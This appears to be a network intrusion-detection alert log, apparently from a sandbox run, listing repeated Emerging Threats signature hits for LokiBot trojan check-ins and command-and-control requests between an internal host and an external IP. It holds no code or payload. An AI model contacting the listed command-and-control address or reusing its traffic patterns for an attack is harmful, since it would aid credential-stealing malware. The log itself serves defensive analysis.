09/28/21-06:50:45.606333	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49185	80	192.168.2.22	5.188.89.50
09/28/21-06:50:45.606333	TCP	2025381	ET TROJAN LokiBot Checkin	49185	80	192.168.2.22	5.188.89.50
09/28/21-06:50:45.606333	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49185	80	192.168.2.22	5.188.89.50
09/28/21-06:50:45.970264	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49185	5.188.89.50	192.168.2.22
09/28/21-06:50:46.257926	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49186	80	192.168.2.22	5.188.89.50
09/28/21-06:50:46.257926	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49186	80	192.168.2.22	5.188.89.50
09/28/21-06:50:46.257926	TCP	2025381	ET TROJAN LokiBot Checkin	49186	80	192.168.2.22	5.188.89.50
09/28/21-06:50:46.257926	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49186	80	192.168.2.22	5.188.89.50
09/28/21-06:50:46.621851	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49186	5.188.89.50	192.168.2.22
09/28/21-06:50:46.934038	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49187	80	192.168.2.22	5.188.89.50
09/28/21-06:50:46.934038	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49187	80	192.168.2.22	5.188.89.50
09/28/21-06:50:46.934038	TCP	2025381	ET TROJAN LokiBot Checkin	49187	80	192.168.2.22	5.188.89.50
09/28/21-06:50:46.934038	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49187	80	192.168.2.22	5.188.89.50
09/28/21-06:50:47.284598	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49187	5.188.89.50	192.168.2.22
09/28/21-06:50:47.567338	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49188	80	192.168.2.22	5.188.89.50
09/28/21-06:50:47.567338	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49188	80	192.168.2.22	5.188.89.50
09/28/21-06:50:47.567338	TCP	2025381	ET TROJAN LokiBot Checkin	49188	80	192.168.2.22	5.188.89.50
09/28/21-06:50:47.567338	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49188	80	192.168.2.22	5.188.89.50
09/28/21-06:50:47.929216	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49188	5.188.89.50	192.168.2.22
09/28/21-06:50:48.217751	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49189	80	192.168.2.22	5.188.89.50
09/28/21-06:50:48.217751	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49189	80	192.168.2.22	5.188.89.50
09/28/21-06:50:48.217751	TCP	2025381	ET TROJAN LokiBot Checkin	49189	80	192.168.2.22	5.188.89.50
09/28/21-06:50:48.217751	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49189	80	192.168.2.22	5.188.89.50
09/28/21-06:50:48.600374	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49189	5.188.89.50	192.168.2.22
09/28/21-06:50:48.901348	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49190	80	192.168.2.22	5.188.89.50
09/28/21-06:50:48.901348	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49190	80	192.168.2.22	5.188.89.50
09/28/21-06:50:48.901348	TCP	2025381	ET TROJAN LokiBot Checkin	49190	80	192.168.2.22	5.188.89.50
09/28/21-06:50:48.901348	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49190	80	192.168.2.22	5.188.89.50
09/28/21-06:50:49.275072	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49190	5.188.89.50	192.168.2.22
09/28/21-06:50:49.543983	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49191	80	192.168.2.22	5.188.89.50
09/28/21-06:50:49.543983	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49191	80	192.168.2.22	5.188.89.50
09/28/21-06:50:49.543983	TCP	2025381	ET TROJAN LokiBot Checkin	49191	80	192.168.2.22	5.188.89.50
09/28/21-06:50:49.543983	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49191	80	192.168.2.22	5.188.89.50
09/28/21-06:50:49.910859	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49191	5.188.89.50	192.168.2.22
09/28/21-06:50:50.201147	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49192	80	192.168.2.22	5.188.89.50
09/28/21-06:50:50.201147	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49192	80	192.168.2.22	5.188.89.50
09/28/21-06:50:50.201147	TCP	2025381	ET TROJAN LokiBot Checkin	49192	80	192.168.2.22	5.188.89.50
09/28/21-06:50:50.201147	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49192	80	192.168.2.22	5.188.89.50
09/28/21-06:50:50.559416	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49192	5.188.89.50	192.168.2.22
09/28/21-06:50:50.837246	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49193	80	192.168.2.22	5.188.89.50
09/28/21-06:50:50.837246	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49193	80	192.168.2.22	5.188.89.50
09/28/21-06:50:50.837246	TCP	2025381	ET TROJAN LokiBot Checkin	49193	80	192.168.2.22	5.188.89.50
09/28/21-06:50:50.837246	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49193	80	192.168.2.22	5.188.89.50
09/28/21-06:50:51.200425	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49193	5.188.89.50	192.168.2.22
09/28/21-06:50:51.664554	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49194	80	192.168.2.22	5.188.89.50
09/28/21-06:50:51.664554	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49194	80	192.168.2.22	5.188.89.50
09/28/21-06:50:51.664554	TCP	2025381	ET TROJAN LokiBot Checkin	49194	80	192.168.2.22	5.188.89.50
09/28/21-06:50:51.664554	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49194	80	192.168.2.22	5.188.89.50
09/28/21-06:50:52.034303	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49194	5.188.89.50	192.168.2.22
09/28/21-06:50:52.442627	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49195	80	192.168.2.22	5.188.89.50
09/28/21-06:50:52.442627	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49195	80	192.168.2.22	5.188.89.50
09/28/21-06:50:52.442627	TCP	2025381	ET TROJAN LokiBot Checkin	49195	80	192.168.2.22	5.188.89.50
09/28/21-06:50:52.442627	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49195	80	192.168.2.22	5.188.89.50
09/28/21-06:50:52.784750	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49195	5.188.89.50	192.168.2.22
09/28/21-06:50:53.378969	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49196	80	192.168.2.22	5.188.89.50
09/28/21-06:50:53.378969	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49196	80	192.168.2.22	5.188.89.50
09/28/21-06:50:53.378969	TCP	2025381	ET TROJAN LokiBot Checkin	49196	80	192.168.2.22	5.188.89.50
09/28/21-06:50:53.378969	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49196	80	192.168.2.22	5.188.89.50
09/28/21-06:50:53.741503	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49196	5.188.89.50	192.168.2.22
09/28/21-06:50:54.025805	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49197	80	192.168.2.22	5.188.89.50
09/28/21-06:50:54.025805	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49197	80	192.168.2.22	5.188.89.50
09/28/21-06:50:54.025805	TCP	2025381	ET TROJAN LokiBot Checkin	49197	80	192.168.2.22	5.188.89.50
09/28/21-06:50:54.025805	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49197	80	192.168.2.22	5.188.89.50
09/28/21-06:50:54.384705	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49197	5.188.89.50	192.168.2.22
09/28/21-06:50:54.678868	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49198	80	192.168.2.22	5.188.89.50
09/28/21-06:50:54.678868	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49198	80	192.168.2.22	5.188.89.50
09/28/21-06:50:54.678868	TCP	2025381	ET TROJAN LokiBot Checkin	49198	80	192.168.2.22	5.188.89.50
09/28/21-06:50:54.678868	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49198	80	192.168.2.22	5.188.89.50
09/28/21-06:50:55.031650	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49198	5.188.89.50	192.168.2.22
09/28/21-06:50:55.313486	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49199	80	192.168.2.22	5.188.89.50
09/28/21-06:50:55.313486	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49199	80	192.168.2.22	5.188.89.50
09/28/21-06:50:55.313486	TCP	2025381	ET TROJAN LokiBot Checkin	49199	80	192.168.2.22	5.188.89.50
09/28/21-06:50:55.313486	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49199	80	192.168.2.22	5.188.89.50
09/28/21-06:50:55.687469	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49199	5.188.89.50	192.168.2.22
09/28/21-06:50:55.987134	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49200	80	192.168.2.22	5.188.89.50
09/28/21-06:50:55.987134	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49200	80	192.168.2.22	5.188.89.50
09/28/21-06:50:55.987134	TCP	2025381	ET TROJAN LokiBot Checkin	49200	80	192.168.2.22	5.188.89.50
09/28/21-06:50:55.987134	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49200	80	192.168.2.22	5.188.89.50
09/28/21-06:50:56.347594	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49200	5.188.89.50	192.168.2.22
09/28/21-06:50:56.626190	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49201	80	192.168.2.22	5.188.89.50
09/28/21-06:50:56.626190	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49201	80	192.168.2.22	5.188.89.50
09/28/21-06:50:56.626190	TCP	2025381	ET TROJAN LokiBot Checkin	49201	80	192.168.2.22	5.188.89.50
09/28/21-06:50:56.626190	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49201	80	192.168.2.22	5.188.89.50
09/28/21-06:50:56.996386	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49201	5.188.89.50	192.168.2.22
09/28/21-06:50:57.284758	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49202	80	192.168.2.22	5.188.89.50
09/28/21-06:50:57.284758	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49202	80	192.168.2.22	5.188.89.50
09/28/21-06:50:57.284758	TCP	2025381	ET TROJAN LokiBot Checkin	49202	80	192.168.2.22	5.188.89.50
09/28/21-06:50:57.284758	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49202	80	192.168.2.22	5.188.89.50
09/28/21-06:50:57.618108	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49202	5.188.89.50	192.168.2.22
09/28/21-06:50:57.890671	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49203	80	192.168.2.22	5.188.89.50
09/28/21-06:50:57.890671	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49203	80	192.168.2.22	5.188.89.50
09/28/21-06:50:57.890671	TCP	2025381	ET TROJAN LokiBot Checkin	49203	80	192.168.2.22	5.188.89.50
09/28/21-06:50:57.890671	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49203	80	192.168.2.22	5.188.89.50
09/28/21-06:50:58.297915	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49203	5.188.89.50	192.168.2.22
09/28/21-06:50:58.583042	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49204	80	192.168.2.22	5.188.89.50
09/28/21-06:50:58.583042	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49204	80	192.168.2.22	5.188.89.50
09/28/21-06:50:58.583042	TCP	2025381	ET TROJAN LokiBot Checkin	49204	80	192.168.2.22	5.188.89.50
09/28/21-06:50:58.583042	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49204	80	192.168.2.22	5.188.89.50
09/28/21-06:50:58.927285	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49204	5.188.89.50	192.168.2.22
09/28/21-06:50:59.242791	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49205	80	192.168.2.22	5.188.89.50
09/28/21-06:50:59.242791	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49205	80	192.168.2.22	5.188.89.50
09/28/21-06:50:59.242791	TCP	2025381	ET TROJAN LokiBot Checkin	49205	80	192.168.2.22	5.188.89.50
09/28/21-06:50:59.242791	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49205	80	192.168.2.22	5.188.89.50
09/28/21-06:50:59.601230	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49205	5.188.89.50	192.168.2.22
09/28/21-06:50:59.885918	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49206	80	192.168.2.22	5.188.89.50
09/28/21-06:50:59.885918	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49206	80	192.168.2.22	5.188.89.50
09/28/21-06:50:59.885918	TCP	2025381	ET TROJAN LokiBot Checkin	49206	80	192.168.2.22	5.188.89.50
09/28/21-06:50:59.885918	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49206	80	192.168.2.22	5.188.89.50
09/28/21-06:51:00.245923	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49206	5.188.89.50	192.168.2.22
09/28/21-06:51:00.541294	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49207	80	192.168.2.22	5.188.89.50
09/28/21-06:51:00.541294	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49207	80	192.168.2.22	5.188.89.50
09/28/21-06:51:00.541294	TCP	2025381	ET TROJAN LokiBot Checkin	49207	80	192.168.2.22	5.188.89.50
09/28/21-06:51:00.541294	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49207	80	192.168.2.22	5.188.89.50
09/28/21-06:51:00.899846	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49207	5.188.89.50	192.168.2.22
09/28/21-06:51:01.193570	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49208	80	192.168.2.22	5.188.89.50
09/28/21-06:51:01.193570	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49208	80	192.168.2.22	5.188.89.50
09/28/21-06:51:01.193570	TCP	2025381	ET TROJAN LokiBot Checkin	49208	80	192.168.2.22	5.188.89.50
09/28/21-06:51:01.193570	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49208	80	192.168.2.22	5.188.89.50
09/28/21-06:51:01.549927	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49208	5.188.89.50	192.168.2.22
09/28/21-06:51:01.859269	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49209	80	192.168.2.22	5.188.89.50
09/28/21-06:51:01.859269	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49209	80	192.168.2.22	5.188.89.50
09/28/21-06:51:01.859269	TCP	2025381	ET TROJAN LokiBot Checkin	49209	80	192.168.2.22	5.188.89.50
09/28/21-06:51:01.859269	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49209	80	192.168.2.22	5.188.89.50
09/28/21-06:51:02.235016	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49209	5.188.89.50	192.168.2.22
09/28/21-06:51:02.517045	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49210	80	192.168.2.22	5.188.89.50
09/28/21-06:51:02.517045	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49210	80	192.168.2.22	5.188.89.50
09/28/21-06:51:02.517045	TCP	2025381	ET TROJAN LokiBot Checkin	49210	80	192.168.2.22	5.188.89.50
09/28/21-06:51:02.517045	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49210	80	192.168.2.22	5.188.89.50
09/28/21-06:51:02.885141	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49210	5.188.89.50	192.168.2.22
09/28/21-06:51:03.156873	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49211	80	192.168.2.22	5.188.89.50
09/28/21-06:51:03.156873	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49211	80	192.168.2.22	5.188.89.50
09/28/21-06:51:03.156873	TCP	2025381	ET TROJAN LokiBot Checkin	49211	80	192.168.2.22	5.188.89.50
09/28/21-06:51:03.156873	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49211	80	192.168.2.22	5.188.89.50
09/28/21-06:51:03.512490	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49211	5.188.89.50	192.168.2.22
09/28/21-06:51:03.819481	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49212	80	192.168.2.22	5.188.89.50
09/28/21-06:51:03.819481	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49212	80	192.168.2.22	5.188.89.50
09/28/21-06:51:03.819481	TCP	2025381	ET TROJAN LokiBot Checkin	49212	80	192.168.2.22	5.188.89.50
09/28/21-06:51:03.819481	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49212	80	192.168.2.22	5.188.89.50
09/28/21-06:51:04.183722	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49212	5.188.89.50	192.168.2.22
09/28/21-06:51:04.459249	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49213	80	192.168.2.22	5.188.89.50
09/28/21-06:51:04.459249	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49213	80	192.168.2.22	5.188.89.50
09/28/21-06:51:04.459249	TCP	2025381	ET TROJAN LokiBot Checkin	49213	80	192.168.2.22	5.188.89.50
09/28/21-06:51:04.459249	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49213	80	192.168.2.22	5.188.89.50
09/28/21-06:51:04.832233	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49213	5.188.89.50	192.168.2.22
09/28/21-06:51:05.091180	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49214	80	192.168.2.22	5.188.89.50
09/28/21-06:51:05.091180	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49214	80	192.168.2.22	5.188.89.50
09/28/21-06:51:05.091180	TCP	2025381	ET TROJAN LokiBot Checkin	49214	80	192.168.2.22	5.188.89.50
09/28/21-06:51:05.091180	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49214	80	192.168.2.22	5.188.89.50
09/28/21-06:51:05.442715	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49214	5.188.89.50	192.168.2.22
09/28/21-06:51:05.699797	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49215	80	192.168.2.22	5.188.89.50
09/28/21-06:51:05.699797	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49215	80	192.168.2.22	5.188.89.50
09/28/21-06:51:05.699797	TCP	2025381	ET TROJAN LokiBot Checkin	49215	80	192.168.2.22	5.188.89.50
09/28/21-06:51:05.699797	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49215	80	192.168.2.22	5.188.89.50
09/28/21-06:51:06.041813	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49215	5.188.89.50	192.168.2.22
09/28/21-06:51:06.324511	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49216	80	192.168.2.22	5.188.89.50
09/28/21-06:51:06.324511	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49216	80	192.168.2.22	5.188.89.50
09/28/21-06:51:06.324511	TCP	2025381	ET TROJAN LokiBot Checkin	49216	80	192.168.2.22	5.188.89.50
09/28/21-06:51:06.324511	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49216	80	192.168.2.22	5.188.89.50
09/28/21-06:51:06.690603	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49216	5.188.89.50	192.168.2.22
09/28/21-06:51:06.958702	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49217	80	192.168.2.22	5.188.89.50
09/28/21-06:51:06.958702	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49217	80	192.168.2.22	5.188.89.50
09/28/21-06:51:06.958702	TCP	2025381	ET TROJAN LokiBot Checkin	49217	80	192.168.2.22	5.188.89.50
09/28/21-06:51:06.958702	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49217	80	192.168.2.22	5.188.89.50
09/28/21-06:51:07.319648	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49217	5.188.89.50	192.168.2.22
09/28/21-06:51:07.603166	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49218	80	192.168.2.22	5.188.89.50
09/28/21-06:51:07.603166	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49218	80	192.168.2.22	5.188.89.50
09/28/21-06:51:07.603166	TCP	2025381	ET TROJAN LokiBot Checkin	49218	80	192.168.2.22	5.188.89.50
09/28/21-06:51:07.603166	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49218	80	192.168.2.22	5.188.89.50
09/28/21-06:51:07.964447	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49218	5.188.89.50	192.168.2.22
09/28/21-06:51:08.233327	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49219	80	192.168.2.22	5.188.89.50
09/28/21-06:51:08.233327	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49219	80	192.168.2.22	5.188.89.50
09/28/21-06:51:08.233327	TCP	2025381	ET TROJAN LokiBot Checkin	49219	80	192.168.2.22	5.188.89.50
09/28/21-06:51:08.233327	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49219	80	192.168.2.22	5.188.89.50
09/28/21-06:51:08.589641	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49219	5.188.89.50	192.168.2.22
09/28/21-06:51:08.841041	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49220	80	192.168.2.22	5.188.89.50
09/28/21-06:51:08.841041	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49220	80	192.168.2.22	5.188.89.50
09/28/21-06:51:08.841041	TCP	2025381	ET TROJAN LokiBot Checkin	49220	80	192.168.2.22	5.188.89.50
09/28/21-06:51:08.841041	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49220	80	192.168.2.22	5.188.89.50
09/28/21-06:51:09.186378	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49220	5.188.89.50	192.168.2.22
09/28/21-06:51:09.444019	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49221	80	192.168.2.22	5.188.89.50
09/28/21-06:51:09.444019	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49221	80	192.168.2.22	5.188.89.50
09/28/21-06:51:09.444019	TCP	2025381	ET TROJAN LokiBot Checkin	49221	80	192.168.2.22	5.188.89.50
09/28/21-06:51:09.444019	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49221	80	192.168.2.22	5.188.89.50
09/28/21-06:51:09.822865	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49221	5.188.89.50	192.168.2.22
09/28/21-06:51:10.077283	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49222	80	192.168.2.22	5.188.89.50
09/28/21-06:51:10.077283	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49222	80	192.168.2.22	5.188.89.50
09/28/21-06:51:10.077283	TCP	2025381	ET TROJAN LokiBot Checkin	49222	80	192.168.2.22	5.188.89.50
09/28/21-06:51:10.077283	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49222	80	192.168.2.22	5.188.89.50
09/28/21-06:51:10.430120	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49222	5.188.89.50	192.168.2.22
09/28/21-06:51:10.687078	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49223	80	192.168.2.22	5.188.89.50
09/28/21-06:51:10.687078	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49223	80	192.168.2.22	5.188.89.50
09/28/21-06:51:10.687078	TCP	2025381	ET TROJAN LokiBot Checkin	49223	80	192.168.2.22	5.188.89.50
09/28/21-06:51:10.687078	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49223	80	192.168.2.22	5.188.89.50
09/28/21-06:51:11.051528	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49223	5.188.89.50	192.168.2.22
09/28/21-06:51:11.328729	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49224	80	192.168.2.22	5.188.89.50
09/28/21-06:51:11.328729	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49224	80	192.168.2.22	5.188.89.50
09/28/21-06:51:11.328729	TCP	2025381	ET TROJAN LokiBot Checkin	49224	80	192.168.2.22	5.188.89.50
09/28/21-06:51:11.328729	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49224	80	192.168.2.22	5.188.89.50
09/28/21-06:51:11.678843	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49224	5.188.89.50	192.168.2.22
09/28/21-06:51:11.924109	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49225	80	192.168.2.22	5.188.89.50
09/28/21-06:51:11.924109	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49225	80	192.168.2.22	5.188.89.50
09/28/21-06:51:11.924109	TCP	2025381	ET TROJAN LokiBot Checkin	49225	80	192.168.2.22	5.188.89.50
09/28/21-06:51:11.924109	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49225	80	192.168.2.22	5.188.89.50
09/28/21-06:51:12.290453	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49225	5.188.89.50	192.168.2.22
09/28/21-06:51:12.548479	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49226	80	192.168.2.22	5.188.89.50
09/28/21-06:51:12.548479	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49226	80	192.168.2.22	5.188.89.50
09/28/21-06:51:12.548479	TCP	2025381	ET TROJAN LokiBot Checkin	49226	80	192.168.2.22	5.188.89.50
09/28/21-06:51:12.548479	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49226	80	192.168.2.22	5.188.89.50
09/28/21-06:51:12.908386	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49226	5.188.89.50	192.168.2.22
09/28/21-06:51:13.189129	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49227	80	192.168.2.22	5.188.89.50
09/28/21-06:51:13.189129	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49227	80	192.168.2.22	5.188.89.50
09/28/21-06:51:13.189129	TCP	2025381	ET TROJAN LokiBot Checkin	49227	80	192.168.2.22	5.188.89.50
09/28/21-06:51:13.189129	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49227	80	192.168.2.22	5.188.89.50
09/28/21-06:51:13.544518	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49227	5.188.89.50	192.168.2.22
09/28/21-06:51:13.815165	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49228	80	192.168.2.22	5.188.89.50
09/28/21-06:51:13.815165	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49228	80	192.168.2.22	5.188.89.50
09/28/21-06:51:13.815165	TCP	2025381	ET TROJAN LokiBot Checkin	49228	80	192.168.2.22	5.188.89.50
09/28/21-06:51:13.815165	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49228	80	192.168.2.22	5.188.89.50
09/28/21-06:51:14.177796	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49228	5.188.89.50	192.168.2.22
09/28/21-06:51:14.436115	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49229	80	192.168.2.22	5.188.89.50
